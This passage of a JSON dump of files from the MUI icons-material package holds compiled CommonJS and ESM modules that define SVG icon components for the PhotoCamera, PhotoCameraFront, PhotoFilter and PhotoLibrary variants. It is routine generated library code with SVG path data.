    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m18 10.48 4-3.98v11l-4-3.98V18c0 1.1-.9 2-2 2H4c-1.1 0-2-.9-2-2V6c0-1.1.9-2 2-2h12c1.1 0 2 .9 2 2zm-2-.79V6H4v12h12zM10 12c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m0 1c1.34 0 4 .67 4 2v1H6v-1c0-1.33 2.66-2 4-2\"\n}), 'PhotoCameraFront');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoCameraFrontOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 5h-3.17L15 3H9L7.17 5H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m0 14H4V7h4.05l1.83-2h4.24l1.83 2H20z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"11\",\n  r: \"2\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.78 14.58c-.85-.37-1.79-.58-2.78-.58s-1.93.21-2.78.58C8.48 14.9 8 15.62 8 16.43V17h8v-.57c0-.81-.48-1.53-1.22-1.85\"\n}, \"2\")], 'PhotoCameraFrontOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoCameraFrontOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 5h-3.17L15 3H9L7.17 5H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m0 14H4V7h4.05l1.83-2h4.24l1.83 2H20z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"11\",\n  r: \"2\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.78 14.58c-.85-.37-1.79-.58-2.78-.58s-1.93.21-2.78.58C8.48 14.9 8 15.62 8 16.43V17h8v-.57c0-.81-.48-1.53-1.22-1.85\"\n}, \"2\")], 'PhotoCameraFrontOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoCameraFrontRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 5h-3.17l-1.24-1.35c-.37-.41-.91-.65-1.47-.65H9.88c-.56 0-1.1.24-1.47.65L7.17 5H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m-8 4c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m4 8H8v-.57c0-.81.48-1.53 1.22-1.85.85-.37 1.79-.58 2.78-.58s1.93.21 2.78.58c.74.32 1.22 1.04 1.22 1.85z\"\n}), 'PhotoCameraFrontRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoCameraFrontRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 5h-3.17l-1.24-1.35c-.37-.41-.91-.65-1.47-.65H9.88c-.56 0-1.1.24-1.47.65L7.17 5H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m-8 4c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m4 8H8v-.57c0-.81.48-1.53 1.22-1.85.85-.37 1.79-.58 2.78-.58s1.93.21 2.78.58c.74.32 1.22 1.04 1.22 1.85z\"\n}), 'PhotoCameraFrontRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoCameraFrontSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.83 5 15 3H9L7.17 5H2v16h20V5zM12 9c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m4 8H8v-.57c0-.81.48-1.53 1.22-1.85.85-.37 1.79-.58 2.78-.58s1.93.21 2.78.58c.74.32 1.22 1.04 1.22 1.85z\"\n}), 'PhotoCameraFrontSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoCameraFrontSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.83 5 15 3H9L7.17 5H2v16h20V5zM12 9c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m4 8H8v-.57c0-.81.48-1.53 1.22-1.85.85-.37 1.79-.58 2.78-.58s1.93.21 2.78.58c.74.32 1.22 1.04 1.22 1.85z\"\n}), 'PhotoCameraFrontSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoCameraFrontTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15.95 7-1.83-2H9.88L8.05 7H4v12h16V7zM12 9c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m4 8H8v-.57c0-.81.48-1.53 1.22-1.85.85-.37 1.79-.58 2.78-.58s1.93.21 2.78.58c.74.32 1.22 1.04 1.22 1.85z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 5h-3.17L15 3H9L7.17 5H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m0 14H4V7h4.05l1.83-2h4.24l1.83 2H20zm-8-6c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m2.78 1.58c-.85-.37-1.79-.58-2.78-.58s-1.93.21-2.78.58C8.48 14.9 8 15.62 8 16.43V17h8v-.57c0-.81-.48-1.53-1.22-1.85\"\n}, \"1\")], 'PhotoCameraFrontTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoCameraFrontTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m15.95 7-1.83-2H9.88L8.05 7H4v12h16V7zM12 9c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m4 8H8v-.57c0-.81.48-1.53 1.22-1.85.85-.37 1.79-.58 2.78-.58s1.93.21 2.78.58c.74.32 1.22 1.04 1.22 1.85z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 5h-3.17L15 3H9L7.17 5H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m0 14H4V7h4.05l1.83-2h4.24l1.83 2H20zm-8-6c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m2.78 1.58c-.85-.37-1.79-.58-2.78-.58s-1.93.21-2.78.58C8.48 14.9 8 15.62 8 16.43V17h8v-.57c0-.81-.48-1.53-1.22-1.85\"\n}, \"1\")], 'PhotoCameraFrontTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoCameraOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14.12 4 1.83 2H20v12H4V6h4.05l1.83-2zM15 2H9L7.17 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2h-3.17zm-3 7c1.65 0 3 1.35 3 3s-1.35 3-3 3-3-1.35-3-3 1.35-3 3-3m0-2c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5\"\n}), 'PhotoCameraOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoCameraOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m14.12 4 1.83 2H20v12H4V6h4.05l1.83-2zM15 2H9L7.17 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2h-3.17zm-3 7c1.65 0 3 1.35 3 3s-1.35 3-3 3-3-1.35-3-3 1.35-3 3-3m0-2c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5\"\n}), 'PhotoCameraOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoCameraRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4h-3.17l-1.24-1.35c-.37-.41-.91-.65-1.47-.65H9.88c-.56 0-1.1.24-1.48.65L7.17 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-8 13c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5\"\n}, \"1\")], 'PhotoCameraRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoCameraRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4h-3.17l-1.24-1.35c-.37-.41-.91-.65-1.47-.65H9.88c-.56 0-1.1.24-1.48.65L7.17 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-8 13c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5\"\n}, \"1\")], 'PhotoCameraRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoCameraSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 2 7.17 4H2v16h20V4h-5.17L15 2zm3 15c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5\"\n}, \"1\")], 'PhotoCameraSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoCameraSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 2 7.17 4H2v16h20V4h-5.17L15 2zm3 15c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5\"\n}, \"1\")], 'PhotoCameraSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoCameraTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-4.05l-1.83-2H9.88L8.05 6H4v12h16zm-8 11c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 20h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2h-3.17L15 2H9L7.17 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2M4 6h4.05l1.83-2h4.24l1.83 2H20v12H4zm8 1c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m0 8c-1.65 0-3-1.35-3-3s1.35-3 3-3 3 1.35 3 3-1.35 3-3 3\"\n}, \"1\")], 'PhotoCameraTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoCameraTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-4.05l-1.83-2H9.88L8.05 6H4v12h16zm-8 11c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 20h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2h-3.17L15 2H9L7.17 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2M4 6h4.05l1.83-2h4.24l1.83 2H20v12H4zm8 1c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m0 8c-1.65 0-3-1.35-3-3s1.35-3 3-3 3 1.35 3 3-1.35 3-3 3\"\n}, \"1\")], 'PhotoCameraTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoFilter.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.02 10v9H5V5h9V3H5.02c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-9zM17 10l.94-2.06L20 7l-2.06-.94L17 4l-.94 2.06L14 7l2.06.94zm-3.75.75L12 8l-1.25 2.75L8 12l2.75 1.25L12 16l1.25-2.75L16 12z\"\n}), 'PhotoFilter');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoFilter.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.02 10v9H5V5h9V3H5.02c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-9zM17 10l.94-2.06L20 7l-2.06-.94L17 4l-.94 2.06L14 7l2.06.94zm-3.75.75L12 8l-1.25 2.75L8 12l2.75 1.25L12 16l1.25-2.75L16 12z\"\n}), 'PhotoFilter');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoFilterOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 10v9H4.98V5h9V3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-9zm-2.94-2.06L17 10l.94-2.06L20 7l-2.06-.94L17 4l-.94 2.06L14 7zM12 8l-1.25 2.75L8 12l2.75 1.25L12 16l1.25-2.75L16 12l-2.75-1.25z\"\n}), 'PhotoFilterOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoFilterOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 10v9H4.98V5h9V3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-9zm-2.94-2.06L17 10l.94-2.06L20 7l-2.06-.94L17 4l-.94 2.06L14 7zM12 8l-1.25 2.75L8 12l2.75 1.25L12 16l1.25-2.75L16 12l-2.75-1.25z\"\n}), 'PhotoFilterOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoFilterRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.02 10.99V18c0 .55-.45 1-1 1H6c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1h7c.55 0 1-.45 1-1s-.45-1-1-1H5.02c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2H19c1.1 0 2-.89 2-2v-8.01c0-.55-.44-.99-.99-.99s-.99.44-.99.99m-5.77-.24L12.46 9c-.18-.39-.73-.39-.91 0l-.79 1.75-1.76.79c-.39.18-.39.73 0 .91l1.75.79.79 1.76c.18.39.73.39.91 0l.79-1.75 1.76-.79c.39-.18.39-.73 0-.91zm4.69-4.69-.6-1.32c-.13-.29-.55-.29-.69 0l-.6 1.32-1.32.6c-.29.13-.29.55 0 .69l1.32.6.6 1.32c.13.29.55.29.69 0l.6-1.32 1.32-.6c.29-.13.29-.55 0-.69z\"\n}), 'PhotoFilterRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoFilterRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.02 10.99V18c0 .55-.45 1-1 1H6c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1h7c.55 0 1-.45 1-1s-.45-1-1-1H5.02c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2H19c1.1 0 2-.89 2-2v-8.01c0-.55-.44-.99-.99-.99s-.99.44-.99.99m-5.77-.24L12.46 9c-.18-.39-.73-.39-.91 0l-.79 1.75-1.76.79c-.39.18-.39.73 0 .91l1.75.79.79 1.76c.18.39.73.39.91 0l.79-1.75 1.76-.79c.39-.18.39-.73 0-.91zm4.69-4.69-.6-1.32c-.13-.29-.55-.29-.69 0l-.6 1.32-1.32.6c-.29.13-.29.55 0 .69l1.32.6.6 1.32c.13.29.55.29.69 0l.6-1.32 1.32-.6c.29-.13.29-.55 0-.69z\"\n}), 'PhotoFilterRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoFilterSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 10v9H4.98V5h9V3H3v18h18V10zm-2 0 .94-2.06L20 7l-2.06-.94L17 4l-.94 2.06L14 7l2.06.94zm-3.75.75L12 8l-1.25 2.75L8 12l2.75 1.25L12 16l1.25-2.75L16 12z\"\n}), 'PhotoFilterSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoFilterSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 10v9H4.98V5h9V3H3v18h18V10zm-2 0 .94-2.06L20 7l-2.06-.94L17 4l-.94 2.06L14 7l2.06.94zm-3.75.75L12 8l-1.25 2.75L8 12l2.75 1.25L12 16l1.25-2.75L16 12z\"\n}), 'PhotoFilterSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoFilterTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 10v9H4.98V5h9V3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-9zm-2.94-2.06L17 10l.94-2.06L20 7l-2.06-.94L17 4l-.94 2.06L14 7zM12 8l-1.25 2.75L8 12l2.75 1.25L12 16l1.25-2.75L16 12l-2.75-1.25z\"\n}), 'PhotoFilterTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoFilterTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 10v9H4.98V5h9V3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-9zm-2.94-2.06L17 10l.94-2.06L20 7l-2.06-.94L17 4l-.94 2.06L14 7zM12 8l-1.25 2.75L8 12l2.75 1.25L12 16l1.25-2.75L16 12l-2.75-1.25z\"\n}), 'PhotoFilterTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoLibrary.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 16V4c0-1.1-.9-2-2-2H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2m-11-4 2.03 2.71L16 11l4 5H8zM2 6v14c0 1.1.9 2 2 2h14v-2H4V6z\"\n}), 'PhotoLibrary');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoLibrary.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 16V4c0-1.1-.9-2-2-2H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2m-11-4 2.03 2.71L16 11l4 5H8zM2 6v14c0 1.1.9 2 2 2h14v-2H4V6z\"\n}), 'PhotoLibrary');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoLibraryOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4v12H8V4zm0-2H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-8.5 9.67 1.69 2.26 2.48-3.1L19 15H9zM2 6v14c0 1.1.9 2 2 2h14v-2H4V6z\"\n}), 'PhotoLibraryOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoLibraryOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4v12H8V4zm0-2H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-8.5 9.67 1.69 2.26 2.48-3.1L19 15H9zM2 6v14c0 1.1.9 2 2 2h14v-2H4V6z\"\n}), 'PhotoLibraryOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoLibraryRounded.js",
